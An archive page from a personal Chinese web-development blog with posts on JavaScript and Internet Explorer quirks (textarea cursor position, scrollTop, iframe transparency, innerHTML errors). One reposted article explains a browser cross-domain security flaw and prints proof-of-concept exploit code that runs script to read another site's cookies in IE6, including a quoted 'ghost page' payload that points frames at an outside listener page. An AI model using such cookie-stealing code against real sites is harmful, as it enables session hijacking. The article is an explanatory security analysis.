Featured Posts

纠结与释怀 这几天的纠结让我度日如年,伴随我的是焦虑和失眠。好久没有这样的感觉了。 我总是患得患失,这是一种心理问题,在做选择的时候,反复对比各方的优劣,放不下东,也舍不得西。 自己不知道怎么选择,然后反复问家人和朋友,即使问到答案,也不能让自己安心顺从。 幸运的是,在反复纠结之后,我逐渐想明白了一些道理。 选择,就要付出代价,必定有所得有所失,我应该勇敢承担起责任,坦然面对自己的选择带来的变化和影响。 纠结的时候,我感觉自己是个懦弱的人,害怕犯错,害怕不好的结果。 现在,我鼓起勇气,自己做出选择,不管对错,我接受,不后悔。 我要感谢猛哥,花费很多时间和精力,前后沟通,给我提供了非常难得的机会,在我最终没有选择这个机会的时候,仍然支持我的选择,并告诉我他这里的大门永远向我敞开。 此时,时间像突然停止了一样,飞快打字的手,也一下停住了,我反复看着这句话,感觉到眼眶周围热热的,滑滑的…… 我想我的勇气,多半来自于猛哥对我的关照。 我只求将来有机会能够报答猛哥的知遇之恩。 是时候为自己的选择努力工作了,大家一起加油!

Readmore

CentOS: cannot restore segment prot after reloc 最近在研究CentOS,用xampp装一套集成的LAMP环境,结果在启动Apache的时候报错: cannot restore segment prot after reloc: Permission denied 原因是 modules/mod_perl.so 不能加载。 查了一下可能是SELINUX的问题,有一个解决方法: 用 chcon...

Readmore

PHP 文件下载 IE 无法打开页面 IE 又有一个弱得不行的问题让我发现! 有个项目,要限制文件的下载权限,只有注册用户才可以下载,用户登录后,点击下载链接,弹出保存附件的提示。 我用...

Readmore

Subversion neon 诡异配置 一波三折 今天发现前几天装的 subversion 居然没法通过 http 协议访问版本库! Subversion 出现 svn: Unrecognized URL scheme for 'http://.....'  这样的错误提示。 检查 svn 客户端是否支持...

Readmore

  • Prev
  • Next

Object Oriented Javascript PDF ENG

Posted on : 15-12-2009 | By : leakon | In : Book, JavaScript

0

Object Oriented Javascript

这几天头大,钻研 prototype, prototype chains, scope, scope chains, constructor, closures 。

突然觉得自己根本不懂 Javascript。

把 《Pro Javascript Techniques》 有关 OOP 的部分仔细读了两遍,又看了半天这个链接:

http://www.jibbering.com/faq/faq_notes/closures.html

发现自己根本不懂 English,感觉这文章是用英文文言文写的?

有兄弟用自己的普通话大体翻译了下,写的还挺深入的,比较容易看懂:

http://www.zhuoqun.net/html/y2009/1203.html

各位对照着看吧。

为了进一步搞明白 Javascript 的对象继承机制,以及能设计出模块化的 Javascript Apps 平台,我找到了《Object-Oriented Javascript》这本书的 PDF 版,上面那个大图片是本书的封面。今晚好好研读一下。

我的服务器带宽实在是小,感觉像 1M 共享的,暂时先不提供下载了,给 2 个其他下载地址:

http://rapidshare.com/files/186330594/1847194141.pdf

http://www.itxuexi.com/resource/1291/

如果这 2 个地址失效,给我留言,我 24 小时内上传 PDF 到服务器供您下载。

看书去了……

IE IFrame Transparent 透明

Posted on : 02-12-2009 | By : leakon | In : Browser, Html, JavaScript, 原创

0

用 Javascript 插入 IFrame 标签,在 Firefox、Chrome 等浏览器上,默认都是透明的,但 IE 有默认的白色背景。

本来,在 html 中写入 IFrame 标签,并加上 allowTransparent="true" 这样的属性,IE 也一样可以透明,但今天的问题是必须用 Javascript 插入。

用 IE Developer ToolBar 测试,在 IFrame 的 src 页面的 body 样式上加上 backgroud:transparent 可以使 IFrame 透明。

但我们要用 Javascript,本域的 Javascript 脚本是没法设置跨域 IFrame 页面的,况且创建 IFrame 的时候还没设置 src,所以这个办法不行。

只能用个土办法,把 src 设置为一个绝对路径的 html 页面,这个页面你自己可以任意编辑,把 body 的样式设成透明即可。

注意,为了性能,只在 IE 浏览器下设置 src,Firefox 和 Chrome 都不用设置。

在这一点上,IE7 跟 IE6 一样弱,比现代浏览器差远了!

DOCTYPE Javascript documentElement

Posted on : 02-12-2009 | By : leakon | In : JavaScript

0

在 Javascript 里面调用一些属性的名称发生了改变,比如得不到 document.body.scrollTop 的值。

使用了 DOCTYPE 之后,滚动条位置必须用 document.documentElement.scrollTop 来调用,类似的还有 scrollLeft 等。

但是,在没有 DOCTYPE 的时候 document.documentElement.scrollTop 也永远为零了。

能否有一个在有或没有 DOCTYPE 定义都可以用的方案呢?

可以这样写:

// 浏览器滚动条位置
function scrollTop() {
var scrollTop = 0;
if (document.documentElement && document.documentElement.scrollTop) {
scrollTop = document.documentElement.scrollTop;
} else if (document.body) {
scrollTop = document.body.scrollTop;
} else if (window.pageYOffset) {
scrollTop = window.pageYOffset;
}
return scrollTop;
}

Mootools 教程

Posted on : 24-01-2009 | By : leakon | In : JavaScript

0

今天发现一个 MooTools 教程,共 30 篇,每天一个,目前为止还没写完。

简单看了看,还挺详细的,有很多例子,还详细说明了好多不为人知的问题。

30-days-of-mootools-12-tutorials-day-1-intro-to-the-library

同时还发现了一个 MooTools 的论坛:

http://www.mooforum.net/

Javascript 获取 textarea 光标 文字 位置 内容 IE Firefox

Posted on : 08-07-2008 | By : leakon | In : JavaScript, Web开发, 转载

1

Javascript 获取 textarea 光标 文字 位置 内容 IE Firefox

最近帮朋友做一个获取文字内容,并处理选中文字的Javascript程序。

本来上网查查,用Firefox搞定了,包括Opera、Safari,不过到IE那里遇到很多问题!!!

还发现了IE的一个Bug!

就是
 var objRange  = document.selection.createRange();
 var strRange  = objRange.text;
 objRange.moveEnd("character", intLenOfHaystack);

之后,objRange.text会莫名其妙的多出一个空格,实际上,是当前文档,有几个textarea标签,他就会多出几个空格!

真是奇怪的Bug!

唉,碰到IE,搞前端开发的会很头疼!

反复搞了几天,不断尝试新方法,终于找到一个IE的解决方案,就是从下面转载的地方查到的。

发在这里,为了留作备份。

代码放到GoogleCode中了,我自己写的是select_range.html,其他2个文件是测试不同的代码用的。

最后我总结了一个GetStringPosition函数,我基本测试了一下,所有浏览器都可用。欢迎大家测试!

http://leakon.googlecode.com/svn/trunk/leakon/javascript/select_range/

后面就是引用别人的内容了,我是从

http://hi.baidu.com/sihillver/blog/item/35e1c6333552b042ac4b5f6b.html

这里找到的,这个blog也是引用别人的内容,我就不去挨个感谢啦。

感谢所有为互联网创造有价值内容的人!谢谢!

   在网上用baidu找了很久,找到的都是IE的方法,Firefox都不能用。 而且很多要用到<textarea>.focus()方法,用起来很不方便。
后来转用Google,搜了下"textarea cursor",第一个就有好方法。我根据最后一个家伙的comments,写了一个sample,应该还是挺好用的。
原文地址:http://weblogs.asp.net/skillet/archive/2005/03/24/395838.aspx

<html>
<head>
<title>TEST</title>
<style>
body,td{
    font-family: verdana, arial, helvetica, sans-serif;
    font-size: 12px;
}
</style>
<script type="text/javascript">
    var start=0;
    var end=0;
    function add(){       
        var textBox = document.getElementById("ta");
        var pre = textBox.value.substr(0, start);
        var post = textBox.value.substr(end);
        textBox.value = pre + document.getElementById("inputtext").value + post;
    }
    function savePos(textBox){
        //如果是Firefox(1.5)的话,方法很简单
        if(typeof(textBox.selectionStart) == "number"){
            start = textBox.selectionStart;
            end = textBox.selectionEnd;
        }
        //下面是IE(6.0)的方法,麻烦得很,还要计算上'\n'
        else if(document.selection){
            var range = document.selection.createRange();
            if(range.parentElement().id == textBox.id){
                // create a selection of the whole textarea
                var range_all = document.body.createTextRange();
                range_all.moveToElementText(textBox);
                //两个range,一个是已经选择的text(range),一个是整个textarea(range_all)
                //range_all.compareEndPoints()比较两个端点,如果range_all比range更往左(further to the left),则                //返回小于0的值,则range_all往右移一点,直到两个range的start相同。
                // calculate selection start point by moving beginning of range_all to beginning of range
                for (start=0; range_all.compareEndPoints("StartToStart", range) < 0; start++)
                    range_all.moveStart('character', 1);
                // get number of line breaks from textarea start to selection start and add them to start
                // 计算一下\n
                for (var i = 0; i <= start; i ++){
                    if (textBox.value.charAt(i) == '\n')
                        start++;
                }
                // create a selection of the whole textarea
                 var range_all = document.body.createTextRange();
                 range_all.moveToElementText(textBox);
                 // calculate selection end point by moving beginning of range_all to end of range
                 for (end = 0; range_all.compareEndPoints('StartToEnd', range) < 0; end ++)
                     range_all.moveStart('character', 1);
                     // get number of line breaks from textarea start to selection end and add them to end
                     for (var i = 0; i <= end; i ++){
                         if (textBox.value.charAt(i) == '\n')
                             end ++;
                     }
                }
            }
        document.getElementById("start").value = start;
        document.getElementById("end").value = end;
    }
</script>
</head>
<body>
<form action="a.cgi">
<table border="1" cellspacing="0" cellpadding="0">
    <tr>
        <td>start: <input type="text" id="start" size="3"/></td>
        <td>end: <input type="text" id="end" size="3"/></td>
    </tr>
    <tr>
        <td colspan="2">
            <textarea id="ta" onKeydown="savePos(this)"
                            onKeyup="savePos(this)"
                            onmousedown="savePos(this)"
                            onmouseup="savePos(this)"
                            onfocus="savePos(this)"
                            rows="14" cols="50"></textarea>
        </td>
    </tr>
    <tr>
        <td><input type="text" id="inputtext" /></td>
        <td><input type="button" onClick="add()" value="Add Text"/></td>
    </tr>
</table>
</form>
</body>
</html>

*************************************************************

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>光标位置</title>
<style>
INPUT{border: 1 solid #000000}
BODY,TABLE{font-size: 10pt}
</style>
</head>
<body>
<table border="0" width="700" cellspacing="0" cellpadding="0">
<tr>
<td width="479" rowspan="7">
点击 TextArea 实现光标定位
<p>
<textarea rows="7" cols="49" id="box" onclick=tellPoint()>我怕来不及我要抱着你,直到感觉你的绉纹有了岁月的痕迹,直到视线变得模糊直到不能呼吸
为了你我愿意
动也不能动也要看着你,直到感觉你的发线有了白雪的痕迹,直到肯定你是真的直到失去力气让我们形影不离
如果全世界我也可以放弃,至少还有你值得我去珍惜而你在这里就是生命的奇迹
也许全世界我也可以忘记,就是不愿意失去你的消息你掌心的痣我总记得在哪里
我们好不容易我们身不由已,我怕时间太快不够将你看仔细,我怕时间太慢日夜担心失去你恨不得一夜之间白头永不分离
</textarea>

<script>

function movePoint()
{
var pn = parseInt(pnum.value);

if(isNaN(pn))
return;

var rng = box.createTextRange();

rng.moveStart("character",pn);

rng.collapse(true);

rng.select();

returnCase(rng)

}

function tellPoint()
{
var rng = event.srcElement.createTextRange();

rng.moveToPoint(event.x,event.y);
rng.moveStart("character",-event.srcElement.value.length)

pnum.value = rng.text.length

returnCase(rng)
}

function returnCase(rng)
{
bh.innerText = rng.boundingHeight;
bl.innerText = rng.boundingLeft;
bt.innerText = rng.boundingTop;
bw.innerText = rng.boundingWidth;
ot.innerText = rng.offsetTop;
ol.innerText = rng.offsetLeft;
t.innerText = rng.text;
}

function selectText(sp,ep)
{
sp = parseInt(sp)
ep = parseInt(ep)

if(isNaN(sp)||isNaN(ep))
return;

var rng = box.createTextRange();

rng.moveEnd("character",-box.value.length)
rng.moveStart("character",-box.value.length)

rng.collapse(true);

rng.moveEnd("character",ep)
rng.moveStart("character",sp)

rng.select();

returnCase(rng);
}

var rg = box.createTextRange();

function findText(tw)
{
if(tw=="")
return;

var sw = 0;

if(document.selection)
{
sw = document.selection.createRange().text.length;
}

rg.moveEnd("character",box.value.length);

rg.moveStart("character",sw);

if(rg.findText(tw))
{
rg.select();

returnCase(rg);
}

if(rg.text!=tw)
{
alert("已经搜索完了")
rg = box.createTextRange()
}

}

</script>
</p>
<p></p>
光标位置:<input type="text" value="0" id="pnum" size="8"> <input type="button" onclick="movePoint()" value="移动光标到指定位置">
<p></p>
选择指定范围:<input type="text" size="9" id="sbox"> -- <input type="text" size="9" id="ebox"> <input type="button" onclick="selectText(sbox.value,ebox.value)" value="选择">
<p></p>
选择查找字符 :<input type="text" value="" id="cbox" size="8"> <input type="button" onclick="findText(cbox.value)" value="查找下一个并选择">

</td>
<td width="217">boundingHeight: <span id="bh"></span></td>
</tr>
<tr>
<td width="217">boundingWidth: <span id="bw"></span></td>
</tr>
<tr>
<td width="217">boundingTop: <span id="bt"></span></td>
</tr>
<tr>
<td width="217">boundingLeft: <span id="bl"></span></td>
</tr>
<tr>
<td width="217">offsetLeft: <span id="ol"></span> </td>
</tr>
<tr>
<td width="217">offsetTop: <span id="ot"></span> </td>
</tr>
<tr>
<td width="217">text: <span style="position: absolute; z-index: 10" id="t"></span> </td>
</tr>
</table>
</body>

</html>

 

*************************************************************
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> 兼容firefox下选择textarea文字的js代码_脚本之家_www.jb51.net </TITLE>
<META NAME="Generator" CONTENT="EditPlus">
<META NAME="Author" CONTENT="">
<META NAME="Keywords" CONTENT="">
<META NAME="Description" CONTENT="">
<script type="text/javascript">
    function getSelectedText(){
        var selectedText;
        var textField=document.getElementById('inputTextarea');
        if(window.getSelection) selectedText=getTextFieldSelection(textField);//getTextFieldSelection(document.getElementById("inputTextArea"));
        else selectedText=document.selection.createRange().text;
            alert(selectedText);
    }

    function getTextFieldSelection(e){
        //var oEvent=arguments.callee.caller.arguments[0];
        if(e.selectionStart != undefined && e.selectionEnd != undefined)
            return e.value.substring(e.selectionStart,e.selectionEnd);
        else return "";
    }
</script>
<style type="text/css">
    ul{
        list-style:none;
    }
</style>
</HEAD>

<BODY>
    <ul>
        <li>兼容firefox下选取textarea文本的方法</li>
        <li><textarea id="inputTextarea" rows="6" cols="50"/>千万别相信我说的事情,我从来就没有这么勇敢过,这么壮烈过。我不断发誓要老老实实讲故事,可是说实话的愿望有多强烈,受到的各种干扰就有多大。我悲哀地发现根本就无法还原真相。记忆总是被我的情感改头换面,并随之捉弄我,背叛我。把我搞得头昏脑胀,真假难辩。</textarea></li>
        <li><button onclick="getSelectedText();">获取选中的文字段</button></li>
    </ul>
</BODY>
</HTML>
本文来自: 脚本之家(www.jb51.net) 详细出处参考:http://www.jb51.net/article/14735.htm

浏览器 跨域 安全

Posted on : 28-06-2008 | By : leakon | In : JavaScript, Web开发, 转载

0

    Manuel Caballero大牛在这次的BLUEHAT大会上讲了一个叫A Resident in My Domain
的议题,字面上的意思就是驻留在自己的域,随后开始有牛人在自己BLOG上写了一些相关的
内容,这段时间一直和HI群里的朋友在讨论这个问题,大家都简称为鬼页,这个鬼页非常神奇,
可以跟随你浏览的每个页面。经过鬼页的启发,我也对浏览器的跨域安全问题进行了测试。

1.来自伪协议的呼唤

    JAVASCRIPT里大家都频繁使用window对象,window对象代表的就是浏览器的窗口,我们
就来测试下window对象的open方法,尝试让新开的窗口执行伪协议。

    在本机搭建一个WEB服务器,开始做下实验:

    用各个浏览器浏览 http://127.0.0.1/test.htm ,下面是test.htm的脚本内容:

    <script>  
    x=window.open('about:blank');
    x.location="javascript:alert(document.domain)"
    </script>

    结果是:

    IE6:执行了伪协议,认为弹出窗口的域是127.0.0.1。
    IE7:执行了伪协议,认为弹出窗口的域是127.0.0.1。
    Firefox:执行了伪协议,认为还没有域为NULL。

    Firefox这里对于这个接口可能也有个BUG,对于IP地址的弹窗Firefox没有辨认出域,但
是在实际绑定域名的情况下还是辨认出了域。

    为了下面的部分方便理解,我把这里弹窗的关系给简称下,原来的窗口叫父页,弹出窗口
叫子页,实验过后我们证明了:

    父页和子页都在同一个域里,父页可以重定向子页的URL地址,甚至执行伪协议。

2.父页和子页的关系

    如果父页让子页访问其他域后,父页和子页是否就脱离关系了呢?

    继续测试,用各个浏览器浏览 http://127.0.0.1/test2.htm ,下面是test2.htm的脚本
内容:

    <script>  
    x=window.open('about:blank');
    x.location="http://www.163.com" //访问163网站
    setTimeout(function(){
        x.location="http://127.0.0.1";
    },5000)  //5秒后重定向到127.0.0.1
    </script>

    这次IE6、IE7、Firefox都达成了一致,实验的结果是子页访问了163网站,5秒然后又跳
回了127.0.0.1。

    所以就算是子页在访问了其他域后,还是会受父页的控制。

3.域与域之间的牵绊

    如果父页让子页访问某个域后,再执行伪协议会有什么效果?

    用各个浏览器浏览 http://127.0.0.1/test3.htm,下面是test3.htm的脚本内容:

    <script>  
    x=window.open('about:blank');
    x.location="http://www.163.com"
    setTimeout(function(){
        x.location="javascript:alert(document.cookie)";
    },5000)
    </script>

    结果是:

    IE6:没有反应。
    IE7:报错,拒绝访问。
    Firefox:报错,alert没有定义。

    这些信息明显的说明,如果子页和父页不在同一个域里,浏览器是不允许父页控制子页
执行伪协议脚本的。

    为了进一步验证,我们让子页打开同一个域里的页面测试:

    用各个浏览器浏览 http://127.0.0.1/test4.htm,下面是test4.htm的脚本内容:

    <script>
    document.cookie='xss:true'  //给本域设置一个COOKIE为xss:true
    x=window.open('about:blank');
    x.location="http://127.0.0.1"
    setTimeout(function(){
        x.location="javascript:alert(document.cookie)";
    },5000)
    </script>

    结果IE6、IE7、Firefox都顺利的弹出了COOKIE值,说明如果子页和父页在同一个域里,
浏览器是允许父页控制子页执行伪协议脚本的。

4.安全上的差异

    父页和子页这种微妙的关系,到这里就开始引发安全问题了,PDP等大牛在分析鬼页的时
候给出了EXP:

    javascript :x =open('http://hackademix.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return 'http://www.sirdarckcat.net/caballero-listener.html';}}}catch(e){}},5000);void(1);

    EXP按上面三部分的概念解释是:

    父页是A域,父页指定子页访问B域内一个带框架的页面,父页就能够控制B域页面内框架
的URL地址,这个就是典型的跨域操作了。

    鬼页能够跨域操作框架的关键是window.frames[0]方法没有受到域的限制,第二个是让
location指定的地址看起来像个对象而不是参数。

    我们按照鬼页的思路,继续在第3部分的基础上测试下去,将location指定的地址使用
new String()对象处理。

    用各个浏览器浏览 http://127.0.0.1/test5.htm,下面是test5.htm的脚本内容:

    <script>  
    x=window.open('about:blank');
    x.location="http://www.163.com";
    setTimeout(function(){
        x.location=new String("javascript:alert(document.cookie)")
    },5000)
    </script>

    IE6:弹出COOKIE。
    IE7:报错,拒绝访问。
    Firefox:报错,alert没有定义。

    结果是IE6奇迹般的弹出了COOKIE,我们做到了跨域执行脚本。

5.灾难性的后果

    到这里我们发现了一个IE6的0DAY,一定程度上这个跨域安全问题是灾难性的,如下面的
EXP:

    <a href="">IE6 Cross Domain Scripting</a>
    <script>
    function win(){
        x=window.open('http://www.phpwind.net');
        setTimeout(function(){
            x.location=new String("javascript:alert(document.cookie)")
        },3000)
    }
    window.onload=function(){
        for (i=0;i<document.links.length;i++) {
            document.links[i].href="javascript:win()"
        }
    }
    </script>

    点击链接后,马上得到了PHPWIND论坛的COOKIE,这就意味着黑客通过类似的攻击可以得
到你访问过的任意网站的COOKIE,然后劫持你的会话。

    这样的漏洞相当于一个没有域限制的XSS漏洞,几乎是无法防御的,网站只能进一步的加
强客户端的会话安全,如使用SSL加密连接、设置安全COOKIE加上HTTPONLY参数、给敏感的
请求操作加上水印等。

6.总结

    这个跨域安全问题的本质是浏览器在处理window对象的操作有所疏漏,没有考虑清楚不
同域有继承关系的window对象操作后的变化,只是对window对象的一些方法的参数做了类似
数据类型的限制,导致最后绕过限制跨域执行了脚本。

    从这个漏洞我们也可以看出IE7的一些新的安全特性,通过继承关系的window对象操作
来跨域执行脚本伪协议最后是判断了域的,IE7已经开始防范类似的攻击。

    但是这里并没有在本质上解决跨域安全问题,IE7只防范了跨域执行脚本,对于其他跨域
的操作仍然是放行的,所以鬼页在IE7下可以跨域操作框架URL,而Firefox却没有存在相同的
问题,说明不同浏览器在安全的考虑上也是存在很多差异的。

    针对IE我又测试了其他对象方法,发现很多都被限制住了,但不排除还有同样的问题存
在。按照类似的思路,大家可以继续尝试挖掘浏览器的一些跨域漏洞。

    最后感谢HI群里共同讨论的朋友。

7.参考

[1] Browser's Ghost Busters: http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html
[2] Ghost Busters: http://www.gnucitizen.org/blog/ghost-busters/

设置 innerHTML 属性 导致 未知的运行时错误 IE bug

Posted on : 30-08-2007 | By : leakon | In : JavaScript, Web开发, 转载

2

在用 Javascript 更改 HTML 代码的时候,经常会用到某个对象的 innerHTML。在读写标签内的代码或字符串时非常方便。

但 IE 对这个属性的支持不太好,经常容易报出 "未知的运行时错误",而同样的操作,在 FireFox 和 Opera 下面就都没问题。

到百度和 Google 查了下,发现是 IE 浏览器下,对 <table>、<tbody> 和 <tr> 等标签的 innerHTML 属性进行写操作时会报错。

应该是 IE 处理不当造成的。

目前没有很好的解决办法,只能采取改变 HTML 结构的方式,也就是说,不要对 <table> 等标签应用这个属性,改为对 <div>、<span> 和 <p> 等标签,就没问题了。

比如,运行下面的代码会报错:

Hello Leakon!

改变一下实现方式,就没问题了:

Hello Leakon!

Internet Explorer无法打开站点,已终止操作 解决方案

Posted on : 24-07-2007 | By : leakon | In : JavaScript, Web开发

2

关键词:IE, JavaScript, AJAX, "Internet Explorer无法打开站点,已终止操作"

错误原因:在页面还没有 ready 的时候就调用了 htmlObject 的 appendChild 或者 innerHTML 操作。

解决方案:在 appendChild 或者 innerHTML 操作处判断
document.readyState=="complete"
若为否,则 setTimeout 若干秒之后重新作这个操作。

readyState 有 complete,interactive 等值,具体可参考 Ajax Hacks 这本书,里面对不同浏览器关于此属性的不同取值有详细的说明。

另,IE 浏览器总是存在各种奇怪的问题,有时,只要在适当的地方加入 setTimeout 即可解决。具体是什么原因还没搞明白,只知道这种办法确实有效!

再此感谢 Lqx 同学提供的帮助。